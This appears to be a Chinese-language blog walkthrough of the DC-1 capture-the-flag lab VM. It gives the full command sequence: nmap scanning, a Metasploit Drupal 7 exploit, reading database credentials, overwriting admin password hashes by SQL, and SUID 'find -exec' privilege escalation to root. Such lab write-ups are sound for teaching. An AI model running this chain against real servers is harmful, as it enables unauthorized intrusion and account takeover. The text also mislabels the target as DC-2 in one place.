靶机下载地址放在文章最后啦
一、靶机的搭建
1.打开文件夹右击使用VM虚拟机打开
2.给虚拟机取个名字(我这里就直接DC-1),选择自己虚拟机存放的位置
3.等待虚拟机的导入
4.虚拟机网络默认的桥接模式,直接开启虚拟机即可
5.靶场的登录界面(不知道密码和账号),IP也不知道是好多。
二、渗透过程
1.直接上nmap扫一下存活的IP地址
我这里IP地址有点多,13这台机子应该就是DC-2靶机IP了
nmap -sn 10.189.100.10-20
2.再用nmap扫一下开放的端口
nmap -sV -A -p- 10.189.100.13
3.发现只开放了 22ssh,80http和111,48121四个端口,先访问80端口看看
http://10.189.100.13
4.发现是drupal框架,我们使用whatweb看看网站的指纹信息
whatweb -v 10.189.100.13
5.发现是Drupal 7,这个版本有漏洞,直接使用msf
msfconsole
6.搜索Drupal 7相关漏洞脚本,发现有7个漏洞脚本,我们就挨着试看那个脚本可以使用
search drupal 7
7.先选择1号脚本试试
use 1
options看一下需要设置的参数,这里只需要设置靶机IP地址
options
设置参数靶机IP地址
set rhosts 10.189.100.13
设置好后直接run,发现已经成功连接
run
8.现在我们使用shell,再看看我们的权限whoami一下,目前我们是www-data,后续我们需要提权。
shell
Whoami
9.pwd看看当前我们在那个路径(/var/www),并且ls一下看看有什么文件,我们发现了flag1.txt,直接使用cat打开。
pwd
ls
cat flag1.txt
10.我们找到了第一个flag1.txt,翻译一下flag1的意思,现在我们百度一下drupal CMS默认配置文件,在/sites/default/settings.php。
11.我们先打开配置文件查看一下,我们发现了flag2和mysql数据库的账号密码。我们翻译一下flag2的意思。
cat sites/default/settings.php
12.使用python先反弹一下shell
python -c 'import pty;pty.spawn("/bin/bash")'
13.现在连接一下mysql数据库
mysql -udbuser -p
14.看一下有哪些数据库
show databases;
15.我们直接选择drupaldb数据库,并查看有哪些表
use drupaldb;
show tables;
16.我们找到了users表,并在里面找到了两个用户名和密码,但是密码是加密了的,无法直接使用
select * from users
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
17.我们百度了一下Drupal7的加密方式,发现不可逆的,我们只能通过其他方式生成加密后的密码。
18.退出mysql在网站目录找找有没有关于password有关的文件,我们找到一个密码HASH有关的脚本,先打开看看是什么内容,发现就Drupal加密脚本
exit
find / -name password
cat /var/www/scripts/password-hash.sh
19.我们使用脚本把我们自己的密码加密一下并重新连接数据库(重复13-15步骤)
scripts/password-hash.sh 123456
hash: $S$DlKqThUfFRfM7b8ykCRAy50xSs0vwy39a4jes0n6cbCrL9hmIdh7
20.我们使用SQL语句来替换一下数据库中的密码
update users set pass = "$S$DlKqThUfFRfM7b8ykCRAy50xSs0vwy39a4jes0n6cbCrL9hmIdh7" where name = 'admin' or name = 'Fred';
21.使用我们修改过后的密码登陆,成功登陆进去
22.在左上角Dashboard里面发现了flag3
23.翻译一下flag3说的什么,看到这里我们需要使用SUID提权,并且在passwd里面查找下一个flag4(passwd在/etc目录下)
24.返回我们的shell进行SUID提权,提权成功,我们现在是root权限了
find / -user root -perm -u=s -type f 2>/dev/null
find /etc/passwd -exec Whoami \;
#/etc/passwd可以替换,只要是root权限的都可以
#whaoami是我们需要执行的命令,每执行一个命令只需要替换whoami即可,不能直接执行命令
26.我们进入etc目录打开passwd文件,发现flag4在/home目录下
cat /etc/passwd
27.切换到/home/flag4目录下面找到flag4.txt并打开,顺便翻译一下
cd /home/flag4
find /etc/passwd -exec cat flag4.txt \;
28.我们现在是root权限可以进入root目录去查看一下,成功找到最后一个flag并打开它
find /etc/passwd -exec ls /root \;
find /etc/passwd -exec cat /root/thefinalflag.txt \;
记得点赞+关注,关注微信公众号菜鸟学渗透,有任何问题可以后台私信我
后台回复"DC-1"即可获得靶场地址
有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。